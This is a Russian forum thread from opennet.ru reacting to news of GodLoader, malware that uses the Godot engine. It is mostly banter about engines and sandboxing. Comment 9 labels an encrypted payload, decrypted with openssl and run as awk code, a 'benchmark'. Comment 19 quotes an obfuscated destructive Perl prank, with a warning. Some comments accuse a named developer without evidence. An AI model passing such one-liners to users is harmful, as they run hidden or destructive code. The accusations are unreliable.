forum.opennet.ru - "Выявлено вредоносное ПО, использующее игровой движок Godot как платформу для запуска" (21)

"Выявлено вредоносное ПО, использующее игровой движок Godot как платформу для запуска"

Форум Разговоры, обсуждение новостей
Вариант для распечатки		Пред. тема \| След. тема
Изначальное сообщение		[ Отслеживать ]

"Выявлено вредоносное ПО, использующее игровой движок Godot как платформу для запуска"	+/–
Сообщение от opennews (??), 30-Ноя-24, 23:01
Компания Checkpoint сообщила о выявлении вредоносного ПО GodLoader, написанного на языке GDScript и использующего открытый игровой движок... Подробнее: https://www.opennet.ru/opennews/art.shtml?num=62323
Ответить \| Правка \| Cообщить модератору

Оглавление

Ох уж эти злые дядьки из Checkpoint, всю малину портят Сидели бы молча И вообщ, Аноним (2), 23:12 , 30-Ноя-24, (2)
Это самое полезное, что произвёл на свет Godot - потому что кроме вирусни он пор, Bottle (?), 23:33 , 30-Ноя-24, (3) +1

А как же змейка , Dzen Python (ok), 23:40 , 30-Ноя-24, (5)

Статтеры присутствуют Я лично испытывал заикания в демках, которые выдают 90 , Bottle (?), 00:56 , 01-Дек-24, (8)

Я щас расскажу дядям из Checkpoint про js-майнеры, так они вообще наверное, аж п, Dzen Python (ok), 23:36 , 30-Ноя-24, (4) +2

Скрыто модератором, Аноним (7), 23:57 , 30-Ноя-24, (7)
Эти однострочники в 4K экран 4px шрифтом хоть помещаются 128562 А вот, кста, Аноним (9), 01:32 , 01-Дек-24, (9)

Как сказать о том, что ты родился в 21-м веке, не говоря, что ты родился в 21-м , Фрол (?), 04:15 , 01-Дек-24, (19)

Вот это да Шок На тьюринг-полном языке можно написать вредоносные код , fuggy (ok), 03:09 , 01-Дек-24, (14)

О, в очередной вредоносов пользователи налили сами себе Ждем следующим шагом сл, Аноним (6), 23:41 , 30-Ноя-24, (6) +2
Игры нужно делать на своих минималистичных и быстрых движках, а не использовать , Крикет (?), 01:53 , 01-Дек-24, (10) –1

General purpose движки нужны, другое дело, что Godot - это способ осваивания сре, Bottle (?), 02:01 , 01-Дек-24, (11)
При этом у него никогда стояло цели делать на нём игры - он лично разрабатывал д, Bottle (?), 02:08 , 01-Дек-24, (12)
То есть Godot для тебя не минималистичный и быстрый Тогда Unreal вообще галакти, fuggy (ok), 03:15 , 01-Дек-24, (15)

Приз недели За рвение шаблона этому господину и приз Розенталя, чтоб два раза , Фрол (?), 04:21 , 01-Дек-24, (20)

А уж игры для ScummVM-то Сам ScummVM написан на сишке то есть по русски - вр, Аноним (13), 02:58 , 01-Дек-24, (13)

Так а кто будет прописывать список разрешённых файлов Вот этот мод условно проп, fuggy (ok), 03:24 , 01-Дек-24, (17)

И скиньтесь человеку на новую клавиатуру, а то у него запятая залипает , Фрол (?), 04:23 , 01-Дек-24, (21)

Какой смысл в новых играх, если есть сотни тысяч старых , Аноним (16), 03:16 , 01-Дек-24, (16)

Зачем сто тыщ старых жён, если можно взять одну молодую , Аноним (18), 03:55 , 01-Дек-24, (18)

Скрыто модератором, Аноним (-), 04:32 , 01-Дек-24, (22)

Сообщения [Сортировка по времени | RSS]

2. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от Аноним (2), 30-Ноя-24, 23:12

Ох уж эти злые дядьки из Checkpoint, всю малину портят. Сидели бы молча. И вообще, как они не распустились после того как натворили дел в виндой.

Ответить | Правка | Наверх | Cообщить модератору

3. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +1 +/–

Сообщение от Bottle (?), 30-Ноя-24, 23:33

Это самое полезное, что произвёл на свет Godot - потому что кроме вирусни он породил не менее фанатичное сообщество, сравнивающее свою тормозную поделку с Блендером уже на протяжении десятка лет.

Ответить | Правка | Наверх | Cообщить модератору

5. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от Dzen Python (ok), 30-Ноя-24, 23:40

А как же змейка?

Ответить | Правка | Наверх | Cообщить модератору

8. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от Bottle (?), 01-Дек-24, 00:56

Статтеры присутствуют. Я лично испытывал "заикания" в демках, которые выдают 90 FPS и выше. Только недавно начали править frame pacing, и то, это не первый pull request в попытке исправить проблему.
https://github.com/godotengine/godot/pull/99833

Ответить | Правка | Наверх | Cообщить модератору

4. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +2 +/–

Сообщение от Dzen Python (ok), 30-Ноя-24, 23:36

Я щас расскажу дядям из Checkpoint про js-майнеры, так они вообще наверное, аж пеной изойдут. Или про вредоносы на lua... Тайпсквотнутые клоны пакетов со вставками для питона в pip... Или любимые виндунами однострочники на Мощщщной Раковине...

Ответить | Правка | Наверх | Cообщить модератору

7. Скрыто модератором +/–

Сообщение от Аноним (7), 30-Ноя-24, 23:57

А нам не расскажешь?

Ответить | Правка | Наверх | Cообщить модератору

9. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от Аноним (9), 01-Дек-24, 01:32

> Или любимые виндунами однострочники на Мощщщной Раковине...
Эти "однострочники" в 4K экран 4px шрифтом хоть помещаются? 😲
А вот, кстати, однострочный (влазит в экран ноута) э-э-э, бенчмарк валидации серта опеннета:

time echo "U2FsdGVkX1856bpfItIkP2IgSTHMlQT/njNhocA8+gcuSaNCQ78lIr29hCDwKSns\nmarNmtq4gEG0hv6kd8CihCSQqGHmptqXZg9XtNQcBj8="|openssl aes-256-cbc -d -a -k opennet.ru |xargs -0I% awk '%'

Ответить | Правка | К родителю #4 | Наверх | Cообщить модератору

19. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от Фрол (?), 01-Дек-24, 04:15

Как сказать о том, что ты родился в 21-м веке, не говоря, что ты родился в 21-м веке :)
классика же
https://www.linux.org.ru/forum/development/392747
> помогите, пожалуйста исправить такую программу:
> cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
> - не печатает
Для ообо одаренных - не пытайтесь повторить это дома, особенно под рутом.
П.С. не дома тоже не пытайтесь, вас догонят и побьют.

Ответить | Правка | Наверх | Cообщить модератору

14. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от fuggy (ok), 01-Дек-24, 03:09

Вот это да. Шок. На тьюринг-полном языке можно написать вредоносные код.

Ответить | Правка | К родителю #4 | Наверх | Cообщить модератору

6. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +2 +/–

Сообщение от Аноним (6), 30-Ноя-24, 23:41

О, в очередной вредоносов пользователи налили сами себе. Ждем следующим шагом слабо рецензируемый Comprehensive Godot Archive Network, в который централизованно будут лить вредоносов под видом минифорков с тайпсквоттинговыми  названием. Сколько уже можно ходить по одному и тому же кругу.

Ответить | Правка | Наверх | Cообщить модератору

10. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." –1 +/–

Сообщение от Крикет (?), 01-Дек-24, 01:53

Игры нужно делать на своих минималистичных и быстрых движках, а не использовать всякое тормозное и глючное нечто по типу урина энджин.

Ответить | Правка | Наверх | Cообщить модератору

11. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от Bottle (?), 01-Дек-24, 02:01

General purpose движки нужны, другое дело, что Godot - это способ осваивания средств через окучивание народа и прогрева на донаты.
Потому что тот же Хуан Линецкий в одну руку принимает донаты через Godot Foundation, через другую - продаёт сервисы к движку (например, оптимизированные мобильные билды от Ramatak) и замедляет его разработку.

Ответить | Правка | Наверх | Cообщить модератору

12. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от Bottle (?), 01-Дек-24, 02:08

При этом у него никогда стояло цели делать на нём игры - он лично разрабатывал для четвёртой версии систему глобального освещения SDFGI, специально скрывая на демонстрационных видео тот факт, что система даёт просадки FPS при любом повороте камеры. Он сделал это осознанно.

Ответить | Правка | К родителю #10 | Наверх | Cообщить модератору

15. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от fuggy (ok), 01-Дек-24, 03:15

То есть Godot для тебя не минималистичный и быстрый. Тогда Unreal вообще галактического размера для тебя.
Так то есть ты предлагаешь использовать движки написанные васяном за пачку чипсов на VB в котором полвторы функции? Или для каждой игры писать свой движок с нуля?

Ответить | Правка | К родителю #10 | Наверх | Cообщить модератору

20. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от Фрол (?), 01-Дек-24, 04:21

> То есть Godot для тебя не минималистичный и быстрый.
Приз недели "За рвение шаблона" этому господину.
>  в котором полвторы функции?
и приз Розенталя, чтоб два раза не вставать.

Ответить | Правка | Наверх | Cообщить модератору

13. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от Аноним (13), 01-Дек-24, 02:58

А уж игры для ScummVM-то... Сам ScummVM написан на сишке (то есть по русски - вредоносные ресурсы смогут исполнить произвольный код даже если в движке такой функции не накодено), да ещё многие игры для ResidualVM (ну то есть те, которые ScummVM унаследовала от  ResidualVM, плюс последние поступления) основаны на Lua (что есть явный запуск произвольного кода).

Это не говоря уже о других играх на альтернативных движках. Там зачастую то же самое, что и в Lua, только на никому не известном костыльном ЯП, который никто кроме создателей игры, злоумышленника, и мод-сообщества не знает.
Что делать? Тотальное огораживание через landlock как минимум на самых ранних стадиях старта движка, с разрешённой записью только в файлы сейвов, разрешённым чтением только на файлы ресурсов и сейвов, и разрешёнными ioctlами только на устройство GPU. К сожалению - ни в одном альтернативном движке не видел такого. А в стоковых и подавно такого не будет.

Ответить | Правка | Наверх | Cообщить модератору

17. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от fuggy (ok), 01-Дек-24, 03:24

Так а кто будет прописывать список разрешённых файлов. Вот этот мод условно пропишет себе что для него сейвы храняться в /usr/bin, а ресурсы хранятся в /etc/passwd и всё. Понятно это условно, но доступ к /home для всех приложений открыт, а юзер сам запустил приложение без проверки.
И вообще на Godot модули можно и на C# и на C++ писать. А там можно разгуляться.

Ответить | Правка | Наверх | Cообщить модератору

21. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от Фрол (?), 01-Дек-24, 04:23

И скиньтесь человеку на новую клавиатуру, а то у него запятая залипает.

Ответить | Правка | Наверх | Cообщить модератору

16. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от Аноним (16), 01-Дек-24, 03:16

Какой смысл в новых играх, если есть сотни тысяч старых?

Ответить | Правка | Наверх | Cообщить модератору

18. "Обнаружено вредоносное ПО, использующее игровой движок Godot..." +/–

Сообщение от Аноним (18), 01-Дек-24, 03:55

Зачем сто тыщ старых жён, если можно взять одну молодую?

Ответить | Правка | Наверх | Cообщить модератору

22. Скрыто модератором +/–

Сообщение от Аноним (-), 01-Дек-24, 04:32

> Обнаружено вредоносное ПО, использующее игровой движок Godot как платформу для запуска
Нихрена себе нынче системные требования у вирусов пошли! Может ему еще и топовый GPU надо? :)

Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема

Партнёры:

Хостинг:

Закладки на сайте
Проследить за страницей

Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру

2. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
Сообщение от Аноним (2), 30-Ноя-24, 23:12
Ох уж эти злые дядьки из Checkpoint, всю малину портят. Сидели бы молча. И вообще, как они не распустились после того как натворили дел в виндой.
Ответить \| Правка \| Наверх \| Cообщить модератору

3. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+1 +/–
Сообщение от Bottle (?), 30-Ноя-24, 23:33
Это самое полезное, что произвёл на свет Godot - потому что кроме вирусни он породил не менее фанатичное сообщество, сравнивающее свою тормозную поделку с Блендером уже на протяжении десятка лет.
Ответить \| Правка \| Наверх \| Cообщить модератору


	5. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
	Сообщение от Dzen Python (ok), 30-Ноя-24, 23:40
	А как же змейка?
	Ответить \| Правка \| Наверх \| Cообщить модератору


	8. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
	Сообщение от Bottle (?), 01-Дек-24, 00:56
	Статтеры присутствуют. Я лично испытывал "заикания" в демках, которые выдают 90 FPS и выше. Только недавно начали править frame pacing, и то, это не первый pull request в попытке исправить проблему. https://github.com/godotengine/godot/pull/99833
	Ответить \| Правка \| Наверх \| Cообщить модератору

4. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+2 +/–
Сообщение от Dzen Python (ok), 30-Ноя-24, 23:36
Я щас расскажу дядям из Checkpoint про js-майнеры, так они вообще наверное, аж пеной изойдут. Или про вредоносы на lua... Тайпсквотнутые клоны пакетов со вставками для питона в pip... Или любимые виндунами однострочники на Мощщщной Раковине...
Ответить \| Правка \| Наверх \| Cообщить модератору


	7. Скрыто модератором	+/–
	Сообщение от Аноним (7), 30-Ноя-24, 23:57
	А нам не расскажешь?
	Ответить \| Правка \| Наверх \| Cообщить модератору


	9. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
	Сообщение от Аноним (9), 01-Дек-24, 01:32
	> Или любимые виндунами однострочники на Мощщщной Раковине... Эти "однострочники" в 4K экран 4px шрифтом хоть помещаются? 😲 А вот, кстати, однострочный (влазит в экран ноута) э-э-э, бенчмарк валидации серта опеннета: time echo "U2FsdGVkX1856bpfItIkP2IgSTHMlQT/njNhocA8+gcuSaNCQ78lIr29hCDwKSns\nmarNmtq4gEG0hv6kd8CihCSQqGHmptqXZg9XtNQcBj8="\|openssl aes-256-cbc -d -a -k opennet.ru \|xargs -0I% awk '%'
	Ответить \| Правка \| К родителю #4 \| Наверх \| Cообщить модератору


	19. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
	Сообщение от Фрол (?), 01-Дек-24, 04:15
	Как сказать о том, что ты родился в 21-м веке, не говоря, что ты родился в 21-м веке :) классика же https://www.linux.org.ru/forum/development/392747 > помогите, пожалуйста исправить такую программу: > cat "test... test... test..." \| perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-\|}<&\|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' > - не печатает Для ообо одаренных - не пытайтесь повторить это дома, особенно под рутом. П.С. не дома тоже не пытайтесь, вас догонят и побьют.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	14. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
	Сообщение от fuggy (ok), 01-Дек-24, 03:09
	Вот это да. Шок. На тьюринг-полном языке можно написать вредоносные код.
	Ответить \| Правка \| К родителю #4 \| Наверх \| Cообщить модератору

6. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+2 +/–
Сообщение от Аноним (6), 30-Ноя-24, 23:41
О, в очередной вредоносов пользователи налили сами себе. Ждем следующим шагом слабо рецензируемый Comprehensive Godot Archive Network, в который централизованно будут лить вредоносов под видом минифорков с тайпсквоттинговыми названием. Сколько уже можно ходить по одному и тому же кругу.
Ответить \| Правка \| Наверх \| Cообщить модератору

10. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	–1 +/–
Сообщение от Крикет (?), 01-Дек-24, 01:53
Игры нужно делать на своих минималистичных и быстрых движках, а не использовать всякое тормозное и глючное нечто по типу урина энджин.
Ответить \| Правка \| Наверх \| Cообщить модератору


	11. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
	Сообщение от Bottle (?), 01-Дек-24, 02:01
	General purpose движки нужны, другое дело, что Godot - это способ осваивания средств через окучивание народа и прогрева на донаты. Потому что тот же Хуан Линецкий в одну руку принимает донаты через Godot Foundation, через другую - продаёт сервисы к движку (например, оптимизированные мобильные билды от Ramatak) и замедляет его разработку.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	12. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
	Сообщение от Bottle (?), 01-Дек-24, 02:08
	При этом у него никогда стояло цели делать на нём игры - он лично разрабатывал для четвёртой версии систему глобального освещения SDFGI, специально скрывая на демонстрационных видео тот факт, что система даёт просадки FPS при любом повороте камеры. Он сделал это осознанно.
	Ответить \| Правка \| К родителю #10 \| Наверх \| Cообщить модератору


	15. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
	Сообщение от fuggy (ok), 01-Дек-24, 03:15
	То есть Godot для тебя не минималистичный и быстрый. Тогда Unreal вообще галактического размера для тебя. Так то есть ты предлагаешь использовать движки написанные васяном за пачку чипсов на VB в котором полвторы функции? Или для каждой игры писать свой движок с нуля?
	Ответить \| Правка \| К родителю #10 \| Наверх \| Cообщить модератору


	20. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
	Сообщение от Фрол (?), 01-Дек-24, 04:21
	> То есть Godot для тебя не минималистичный и быстрый. Приз недели "За рвение шаблона" этому господину. > в котором полвторы функции? и приз Розенталя, чтоб два раза не вставать.
	Ответить \| Правка \| Наверх \| Cообщить модератору

13. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
Сообщение от Аноним (13), 01-Дек-24, 02:58
А уж игры для ScummVM-то... Сам ScummVM написан на сишке (то есть по русски - вредоносные ресурсы смогут исполнить произвольный код даже если в движке такой функции не накодено), да ещё многие игры для ResidualVM (ну то есть те, которые ScummVM унаследовала от ResidualVM, плюс последние поступления) основаны на Lua (что есть явный запуск произвольного кода). Это не говоря уже о других играх на альтернативных движках. Там зачастую то же самое, что и в Lua, только на никому не известном костыльном ЯП, который никто кроме создателей игры, злоумышленника, и мод-сообщества не знает. Что делать? Тотальное огораживание через landlock как минимум на самых ранних стадиях старта движка, с разрешённой записью только в файлы сейвов, разрешённым чтением только на файлы ресурсов и сейвов, и разрешёнными ioctlами только на устройство GPU. К сожалению - ни в одном альтернативном движке не видел такого. А в стоковых и подавно такого не будет.
Ответить \| Правка \| Наверх \| Cообщить модератору


	17. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
	Сообщение от fuggy (ok), 01-Дек-24, 03:24
	Так а кто будет прописывать список разрешённых файлов. Вот этот мод условно пропишет себе что для него сейвы храняться в /usr/bin, а ресурсы хранятся в /etc/passwd и всё. Понятно это условно, но доступ к /home для всех приложений открыт, а юзер сам запустил приложение без проверки. И вообще на Godot модули можно и на C# и на C++ писать. А там можно разгуляться.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	21. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
	Сообщение от Фрол (?), 01-Дек-24, 04:23
	И скиньтесь человеку на новую клавиатуру, а то у него запятая залипает.
	Ответить \| Правка \| Наверх \| Cообщить модератору

16. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
Сообщение от Аноним (16), 01-Дек-24, 03:16
Какой смысл в новых играх, если есть сотни тысяч старых?
Ответить \| Правка \| Наверх \| Cообщить модератору


	18. "Обнаружено вредоносное ПО, использующее игровой движок Godot..."	+/–
	Сообщение от Аноним (18), 01-Дек-24, 03:55
	Зачем сто тыщ старых жён, если можно взять одну молодую?
	Ответить \| Правка \| Наверх \| Cообщить модератору

22. Скрыто модератором	+/–
Сообщение от Аноним (-), 01-Дек-24, 04:32
> Обнаружено вредоносное ПО, использующее игровой движок Godot как платформу для запуска Нихрена себе нынче системные требования у вирусов пошли! Может ему еще и топовый GPU надо? :)
Ответить \| Правка \| Наверх \| Cообщить модератору